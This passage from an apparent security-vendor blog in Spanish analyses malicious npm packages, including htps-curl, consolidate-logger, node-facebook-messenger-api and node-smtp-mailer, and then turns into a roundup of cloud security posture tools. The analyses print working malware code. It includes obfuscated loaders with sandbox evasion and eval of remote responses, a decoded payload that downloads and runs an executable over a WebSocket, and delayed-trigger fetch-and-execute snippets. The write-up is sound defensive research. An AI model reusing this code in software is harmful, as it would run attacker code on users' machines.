  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

Está claro que está recopilando mucha información del sistema y que enviará una petición HTTP en algún momento. También parece que ejecutará código arbitrario debido a la presencia del eval() dentro de los callbacks de una petición HTTP, demostrando un comportamiento malicioso.

El Arlequín

A veces, también vemos paquetes que intentan ocultarse de forma realmente furtiva. No es que traten de esconderse a través de ofuscación para hacer la lógica difícil de entender. Simplemente lo hacen difícil de ver para un humano si no está prestando atención.

Un ejemplo de ello es el paquete htps-curl. Aquí está el código visto desde el sitio oficial npm:

Parece inocente a primera vista, ¿verdad? Pero, ¿te has fijado en la barra de desplazamiento horizontal? Está intentando ocultar su verdadera carga útil con espacios en blanco. Aquí está el código real si lo embellecemos un poco.

console.log('Installed');
try {
    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

¡Ajá! Hay una carga oculta. Tiene un blob codificado en base64, que es decodificado, convertido en una función, y luego llamado. Aquí está la carga útil decodificada y embellecida.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Aquí, vemos que la carga útil se conecta a un servidor remoto a través de websocket y envía un mensaje. La respuesta es decodificada en base64, guardada en disco y ejecutada.

El ayudante demasiado servicial

El último arquetipo es el de una biblioteca útil, pero quizá demasiado útil para su propio bien. El ejemplo que utilizaremos aquí es consolidar-logger paquete. Como siempre, empezamos mirando el paquete.json archivo. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

No hay ganchos de ciclo de vida que se encuentran. Eso es un poco extraño. Pero para una biblioteca de registro, es un poco extraño ver una dependencia de axiosque se utiliza para realizar peticiones HTTP. A partir de ahí, vamos a la index.js y es puramente un archivo que importa src/logger.js. Veámoslo.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Nada destaca aquí a primera vista, pero ¿qué pasa con la importación de ErrorReport y que se instancie en el constructor sin ser utilizada? Veamos qué hace la clase.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Aquí hay bastante más. Hay un poco de ofuscación aquí, así que aquí está una versión simplificada de la misma.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Ahora está mucho más claro lo que hace este código. En el constructor, se llama a la reportErr sin mensaje de error. La función está ofuscada y contiene las partes necesarias para importar axiosy, a continuación, llamar a eval() sobre los datos devueltos. Así que la biblioteca te ayuda, en cierto sentido, con el registro. Pero es quizás un poco demasiado útil, en el sentido de que también ejecuta código inesperado en tiempo de ejecución cuando la función Registrador es instanciada.

🛡️ Consejos de defensa

Para defenderse de paquetes como estos:

  • Auditar siempre los ganchos del ciclo de vida en paquete.json. Son un vector de ataque habitual.
  • Compruebe el repositorio frente al nombre del paquete: las sutiles diferencias de nombre suelen significar problemas.
  • Desconfíe de la ofuscación, el código minificado o los blobs base64 dentro de paquetes pequeños.
  • Utilice herramientas como Aikdio Intel para identificar paquetes sospechosos.
  • Congelar las dependencias de producción con archivos de bloqueo (paquete-lock.json).
  • Utilice una réplica privada del registro o un cortafuegos de paquetes (por ejemplo, Artifactory, Snyk Broker) para controlar lo que entra en su cadena de suministro.
Malware
10 de abril de 2025
Esconderse y fallar: Malware ofuscado, cargas útiles vacías y travesuras de npm
Por
Charlie Eriksen
Charlie Eriksen

Esconderse y fallar: Malware ofuscado, cargas útiles vacías y travesuras de npm

‍

El 14 de marzo de 2025, detectamos un paquete malicioso en npm llamado node-facebook-messenger-api. Al principio, parecía un malware bastante corriente, aunque no podíamos saber cuál era su objetivo final. No pensamos mucho más en ello hasta el 3 de abril de 2025, cuando vimos que el mismo actor de amenazas ampliaba su ataque. Este es un breve resumen de las técnicas utilizadas por este atacante específico, y algunas observaciones divertidas sobre cómo sus intentos de ofuscación en realidad terminan haciéndolos aún más obvios. 

‍

TLDR 

  • 🕵️ On 14 de marzo de 2025detectamos un paquete npm malicioso: node-facebook-messenger-api@4.1.0disfrazado como una envoltura legítima de Facebook Messenger.
  • 🧪 El atacante se escondió lógica de ejecución remota de código utilizando axios y eval() para extraer una carga útil de un enlace de Google Docs, pero el archivo estaba vacío.
  • 🔁 Las versiones posteriores utilizaban ejecución diferida y cambié el zx para evitar su detección, incrustando lógica maliciosa que se activa días después de su publicación.
  • 📦 On 3 de abril de 2025el mismo actor de la amenaza lanzó un segundo paquete falso: node-smtp-mailer@6.10.0haciéndose pasar por nodemailercon la misma lógica y ofuscación de C2.
  • 🧬 Ambos paquetes utilizaron el mismo conjunto único de dependencias (incluyendo hipertipos), revelando una clara patrón de firma vinculando los ataques.
  • Los intentos de ofuscación del atacante, como ocultar el código en archivos de gran tamaño e introducir silenciosamente zx a través de otra dependencia, hicieron que la campaña fuera más fácil de detectar.
  • 🚨 Las cargas útiles en realidad nunca entregaron nada funcional, pero los TTP son reales y muestran cómo están evolucionando los ataques a la cadena de suministro en npm.
  • ‍

    Primeros pasos

    Todo empezó el 14 de marzo a las 04:37 UTC, cuando nuestros sistemas nos alertaron de un paquete sospechoso. Fue publicado por el usuario victor.ben0825que también afirma tener el nombre perusworld. Este es el nombre de usuario del usuario propietario del repositorio legítimo para esta biblioteca.  

    ‍

    Este es el código que detectó como malicioso en node-facebook-messenger-api@4.1.0:en el archivo messenger.js, línea 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    El atacante ha tratado de ocultar este código dentro de un archivo de 769 líneas de largo, que es una clase grande. Aquí han añadido una función, y la están llamando directamente. Muy bonito, pero también muy obvio. Intentamos obtener el payload, pero estaba vacío. Lo marcamos como malware y seguimos adelante.

    Unos minutos después, el atacante lanzó otra versión, la 4.1.1. El único cambio parecía estar en el LÉAME.md y paquete.json donde cambiaron la versión, la descripción y las instrucciones de instalación. Como marcamos al autor como autor malintencionado, los paquetes a partir de este punto se marcaron automáticamente como malware.

    Intentando ser sigiloso

    Entonces, el 20 de marzo de 2025 a las 16:29 UTC, nuestro sistema marcó automáticamente la versión 4.1.2 del paquete. Veamos las novedades. El primer cambio está en node-facebook-messenger-api.js, que contiene:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    El cambio en este archivo es la última línea. No es sólo importar el messenger.js cuando se solicita, siempre se hace cuando se importa el módulo. ¡Inteligente! El otro cambio es en ese archivo, messenger.js. Ha eliminado el código añadido visto anteriormente, y ha añadido lo siguiente en las líneas 197 a 219:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Aquí tienes un resumen de lo que hace:

    1. Utiliza una comprobación basada en el tiempo para determinar si se activa el código malicioso. Sólo se activaría unos 4 días después.
    2. En lugar de utilizar axiosahora utiliza Google zx para obtener la carga maliciosa.
    3. Desactiva el modo detallado, que también es el predeterminado.
    4. A continuación, obtiene el código malicioso
    5. Lo decodifica en base64
    6. Crea una nueva Función utilizando el Función() que equivale a un constructor eval() llamar. 
    7. A continuación, llama a la función, pasando requiere como argumento.

    ‍

    Pero de nuevo, cuando tratamos de obtener el archivo, no obtenemos una carga útil. Sólo obtenemos un archivo vacío llamado info.txt. El uso de zx es curioso. Miramos las dependencias, y nos dimos cuenta de que el paquete original contenía algunas dependencias:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    El paquete malicioso contiene lo siguiente:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Fíjate, han añadido los hipertipos de dependencia. Muy interesante, volveremos a esto unas cuantas veces más. 

    ¡Han vuelto a atacar!

    Entonces, el 3 de abril de 2025 a las 06:46, un nuevo paquete fue liberado por el usuario cristr. Han publicado ele paquete  node-smtp-mailer@6.10.0. Nuestros sistemas lo marcaron automáticamente por contener código potencialmente malicioso. Lo miramos y nos emocionamos un poco. El paquete pretende ser nodemailer, sólo que con un nombre diferente.  

    Nuestro sistema marcó el archivo lib/smtp-pool/index.js. Rápidamente vemos que el atacante ha añadido código en la parte inferior del archivo legítimo, justo antes de la parte final módulo.exportaciones. Esto es lo que se añade:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    ¡Conocemos este código! De nuevo está marcado para ejecutarse 4 días después. Intentamos obtener la carga útil, pero sólo recibimos un archivo vacío llamado principiante.txt. ¡Booo! Miramos las dependencias de nuevo, para ver cómo están tirando en zx. Observamos que la legítima nodemailer paquete tiene no directo dependenciassólo devDependencias. Pero esto es lo que contiene el paquete malicioso:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    ¿Ves alguna similitud entre este y el primer paquete que detectamos? Es la misma lista de dependencias. El paquete legítimo no tiene dependencias, pero el malicioso sí. El atacante simplemente copió la lista completa de dependencias del primer ataque a este. 

    ‍

    Dependencias interesantes

    ¿Por qué pasaron de utilizar axios a zx para hacer HTTP ¿Solicitudes? Sin duda, para evitar ser detectados. Pero lo interesante es que zx no es una dependencia directa. En su lugar, el atacante ha incluido hyper-types, que es un paquete legítimo del desarrollador lukasbach. 

    ‍

    Además del hecho de que el repositorio referenciado ya no existe, hay algo interesante que señalar aquí. Vea cómo hay 2 dependientes? Adivina quiénes son. 

    ‍

    Si el atacante hubiera querido realmente intentar ofuscar su actividad, es bastante tonto depender de un paquete del que son los únicos dependientes. 

    Palabras finales

    Aunque el agresor detrás de estos paquetes npm finalmente no consiguió entregar una carga útil funcional, su campaña pone de manifiesto la continua evolución de las amenazas a la cadena de suministro dirigidas al ecosistema JavaScript. El uso de la ejecución retardada, las importaciones indirectas y el secuestro de dependencias muestra un creciente conocimiento de los mecanismos de detección y una voluntad de experimentar. Pero también muestra cómo una seguridad operativa descuidada y la repetición de patrones pueden delatarles. Como defensores, es un recordatorio de que incluso los ataques fallidos son una valiosa fuente de inteligencia. Cada artefacto, truco de ofuscación y dependencia reutilizada nos ayuda a crear mejores capacidades de detección y atribución. Y, lo que es más importante, refuerza por qué la supervisión continua y la señalización automática de los registros de paquetes públicos ya no son opcionales, sino fundamentales.

    Malware
    3 de abril de 2025
    Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025
    Por
    El equipo de Aikido
    El equipo de Aikido

    Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

    ‍

    Introducción

    Las organizaciones modernas se enfrentan a una ardua batalla para gestionar la seguridad en la nube en 2025. Con las arquitecturas multi-nube y el rápido ritmo de DevOps, las configuraciones erróneas pueden colarse y exponer activos críticos. Las herramientas de gestión de la postura de seguridad en la nube (CSPM ) han surgido como aliados esenciales, auditando continuamente los entornos en la nube en busca de riesgos, aplicando las mejores prácticas y simplificando el cumplimiento. Este año, las soluciones CSPM han evolucionado con la automatización avanzada y la remediación impulsada por IA para mantenerse al día con la expansión de la nube y las amenazas sofisticadas.

    En esta guía, cubrimos las principales herramientas de CSPM para ayudar a su equipo a proteger AWS, Azure, GCP y más. Comenzamos con una lista exhaustiva de las soluciones de CSPM más fiables y, a continuación, desglosamos qué herramientas son las mejores para casos de uso específicos, como desarrolladores, empresas, startups, configuraciones multicloud, etc. Si lo desea, vaya al caso de uso correspondiente.

  • Las mejores herramientas de CSPM para desarrolladores
  • Mejores herramientas CSPM para empresas
  • Las mejores herramientas de CSPM para startups
  • Las mejores herramientas CSPM para entornos multi-nube
  • Las mejores herramientas CSPM para la protección de la nube
  • Mejores herramientas CSPM para AWS
  • Mejores herramientas CSPM para Azure
  • ‍

    ¿Qué es la gestión de posturas de seguridad en la nube (CSPM)?

    Cloud Security Posture Management (CSPM) se refiere a una clase de herramientas de seguridad que supervisan y evalúan continuamente su infraestructura en la nube en busca de errores de configuración, infracciones de cumplimiento y riesgos de seguridad. Estas herramientas analizan automáticamente entornos como AWS, Azure y GCP, comparando las configuraciones con las mejores prácticas del sector y marcos como CIS Benchmarks, SOC 2 e ISO 27001.

    En lugar de depender de revisiones manuales o auditorías ocasionales, las herramientas de CSPM funcionan continuamente, lo que proporciona a los equipos de seguridad y DevOps visibilidad en tiempo real y alerta sobre posibles riesgos. Muchos CSPM modernos también incluyen la automatización para solucionar problemas, ya sea mediante correcciones generadas por IA o integraciones directas con canalizaciones de desarrolladores.

    ‍

    Por qué necesita herramientas CSPM

    En los entornos actuales de rápida evolución y nativos de la nube, el CSPM es un componente fundamental de cualquier estrategia de seguridad. He aquí por qué:

    • Evite las configuraciones erróneas: Detecte configuraciones inseguras (como buckets de S3 abiertos, roles de IAM demasiado permisivos o almacenamiento sin cifrar) antes de que se conviertan en vectores de infracción.
    • Garantice el cumplimiento: Automatice la alineación con marcos normativos como SOC 2, PCI-DSS, NIST y CIS Benchmarks. Genere informes listos para auditoría bajo demanda.
    • Mejore la visibilidad: Obtenga una vista centralizada de los activos en la nube y de las configuraciones erróneas de todos los proveedores, lo que resulta útil para entornos de varias nubes.
    • Automatice la corrección: Ahorre tiempo de ingeniería corrigiendo automáticamente los problemas de IaC o de tiempo de ejecución, o enviando alertas a herramientas como Jira o Slack.
    • Escale con seguridad: A medida que su infraestructura se amplía, los CSPM garantizan que sus controles de seguridad se mantienen al día, algo esencial para las empresas SaaS y los equipos de rápido crecimiento.

    Obtenga más información sobre incidentes reales de CSPM en este informe DBIR de Verizon o compruebe cómo los errores de configuración siguen siendo el principal riesgo en la nube según Cloud Security Alliance.

    Cómo elegir una herramienta CSPM

    Elegir la plataforma CSPM adecuada depende de su pila, estructura de equipo y necesidades normativas. Estos son algunos de los aspectos clave que hay que tener en cuenta:

    • Cobertura de la nube: ¿Es compatible con las plataformas que utiliza (AWS, Azure, GCP, etc.)?
    • Integración de CI/CD e IaC: ¿Puede escanear Terraform, CloudFormation e integrarse en su canal de CI/CD?
    • Apoyo al cumplimiento: ¿Están preconfiguradas las normas comunes (SOC 2, ISO, HIPAA) y puede crear sus propias políticas?
    • Calidad de las alertas: ¿Proporciona alertas procesables y poco ruidosas, a ser posible con priorización en función del contexto?
    • Escalabilidad y precios: ¿Puede crecer con su equipo y ofrece un precio justo (o un nivel gratuito)?

    ¿Desea una plataforma todo en uno con escaneado IaC, gestión de la postura y corrección de IA? Los escáneres de Aikido lo cubren todo.

    ‍

    Comparación de las mejores herramientas generales de CSPM
    Herramienta Cobertura de nubes Soporte IaC y CI/CD Informes de cumplimiento Lo mejor para
    Aikido Seguridad ✅ AWS, Azure, GCP ✅ AI Autofix, GitHub CI ✅ SOC 2 / ISO, en tiempo real Equipos "Dev-first", CNAPP unificada
    Nube Prisma Pila completa multicloud ✅ Código a la nube, IDEs ✅ Marcos profundos Empresas, cobertura multicloud
    Check Point CloudGuard ✅ AWS, Azure, GCP ⚠️ Centrado en GitOps ✅ Potente motor político Gobernanza a escala
    Microsoft Defender para la nube ✅ Azure nativo + AWS/GCP ⚠️ Azure centrado en DevOps ✅ Puntuación segura, puntos de referencia Organizaciones centradas en Microsoft
    JupiterOne ✅ Nube múltiple basada en gráficos ⚠️ IaC básica mediante consultas de activos ⚠️ Consultas personalizadas Ingenieros de seguridad, visibilidad de activos

    Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

    Nuestras selecciones a continuación no están clasificadas, sino que representan las soluciones de CSPM más utilizadas y fiables para diversas necesidades. Cada sección incluye un enlace a la página de inicio de la herramienta para un acceso rápido.

    ‍

    1. Seguridad en el Aikido

    Aikido es una plataforma todo en uno que combina CSPM con análisis de código, contenedores e IaC. Diseñada para dar prioridad a la seguridad del desarrollo, ofrece detección y corrección instantánea de errores de configuración en la nube.

    Características principales:

    • Visión unificada de la seguridad del código a la nube
    • Exploración de la nube sin agentes en AWS, Azure y GCP
    • Priorización contextual de los errores de configuración
    • Fijación automática con un solo clic
    • Integración de CI/CD y Git

    Lo mejor para: Startups y equipos de desarrollo que buscan una plataforma intuitiva para proteger el código y la nube rápidamente.

    Precios: Nivel gratuito disponible; los planes de pago varían en función del uso.

    "Hemos sustituido tres herramientas por Aikido: es rápido, claro y fácil de usar". - Director de tecnología en G2

    ‍

    2. Seguridad Aqua

    Aqua combina CSPM con protección en tiempo de ejecución para contenedores, máquinas virtuales sin servidor y en la nube. Con el respaldo de herramientas de código abierto como Trivy y CloudSploit, es ideal para los equipos de DevSecOps.

    Características principales:

    • Visibilidad de la postura en tiempo real
    • Escaneado IaC y seguridad de los contenedores
    • Compatibilidad multinube con aplicación automatizada de políticas
    • Integración con CI/CD y sistemas de tickets
    • Mapeo de la conformidad (CIS, PCI, ISO)

    Lo mejor para: Equipos que ejecutan aplicaciones nativas de la nube y Kubernetes en producción.

    Precios: Opciones gratuitas de código abierto disponibles; precios para empresas bajo petición.

    "La visibilidad de CSPM es fantástica - se integra bien con nuestros pipelines CI". - DevSecOps Lead en Reddit

    3. Seguridad en la nube BMC Helix

    Esta herramienta, que forma parte del paquete BMC Helix, automatiza la conformidad y la seguridad en la nube mediante una gobernanza basada en políticas en AWS, Azure y GCP.

    Características principales:

    • Subsanación automática de infracciones
    • Políticas preestablecidas adaptadas a los principales marcos
    • Cuadros de mando de cumplimiento continuo
    • Estrecha integración con BMC ITSM
    • Informes unificados de seguridad multicloud

    Ideal para: Empresas que necesitan un cumplimiento automatizado y una estrecha integración del flujo de trabajo.

    Precios: Orientado a empresas, contacte para más detalles.

    "El esfuerzo de integración es mínimo: ofrece una visión completa de la situación en todas las nubes". - Director de operaciones de TI en G2

    ‍

    4. Check Point CloudGuard

    CloudGuard es la oferta CNAPP de Check Point con CSPM integrado. Combina el análisis de la configuración con la detección de amenazas mediante su motor de inteligencia ThreatCloud.

    Características principales:

    • Más de 400 políticas de cumplimiento listas para usar
    • CloudBots para la corrección automatizada
    • Análisis de la ruta de ataque y de la exposición
    • Detección de amenazas con protección de cortafuegos integrada
    • Cuadro de mandos multicloud

    Lo mejor para: Empresas que utilizan herramientas de firewall/endpoint de Check Point y buscan una seguridad unificada de la nube y la red.

    Precios: Planes escalonados disponibles a través de los representantes de Check Point.

    "Aplicación de políticas en todas las nubes en un solo lugar. También me encantan las visualizaciones". - Arquitecto de seguridad en la nube en Reddit

    ‍

    5. CloudCheckr (Spot de NetApp)

    CloudCheckr combina optimización de costes y CSPM en una sola plataforma. Es ampliamente utilizado por MSP y equipos de SecOps empresariales para la gobernanza de la nube.

    Características principales:

    • Más de 500 controles de buenas prácticas
    • Cuadros de mando detallados
    • Motor de políticas personalizadas
    • Alertas en tiempo real e informes automatizados
    • Gestión de costes y seguridad

    Lo mejor para: MSP y equipos que equilibran la seguridad con la optimización del gasto en la nube.

    Precios: En función del uso/gasto de la nube; contacta con ventas.

    "Visibilidad de la seguridad y los costes en una sola herramienta: un enorme ahorro de tiempo". - Jefe de operaciones de seguridad en G2

    6. CloudSploit

    CloudSploit, originalmente un proyecto independiente de código abierto, ahora mantenido por Aqua Security, ofrece análisis sin agentes de entornos en la nube en busca de errores de configuración.

    Características principales:

    • De código abierto e impulsado por la comunidad
    • Análisis de AWS, Azure, GCP y OCI
    • Asignación de los resultados a los criterios de referencia del CIS
    • Salidas JSON/CSV para facilitar la integración
    • CLI y soporte CI/CD

    Lo mejor para: Equipos DevOps que necesitan un escáner sencillo y programable para validar la postura de la nube.

    Precios: Gratuito (código abierto); versión SaaS disponible a través de Aqua.

    "Ligero, rápido y sorprendentemente profundo para una herramienta gratuita". - Ingeniero DevOps en Reddit

    ‍

    7. Seguridad en la nube CrowdStrike Falcon

    Falcon Cloud Security combina CSPM con la detección de amenazas en tiempo de ejecución impulsada por la tecnología EDR y XDR líder del mercado de CrowdStrike.

    Características principales:

    • CSPM unificado y protección de la carga de trabajo
    • Detección de amenazas en tiempo real con IA
    • Análisis del riesgo de identidad (CIEM)
    • Puntuación de la postura en entornos de nube y contenedores
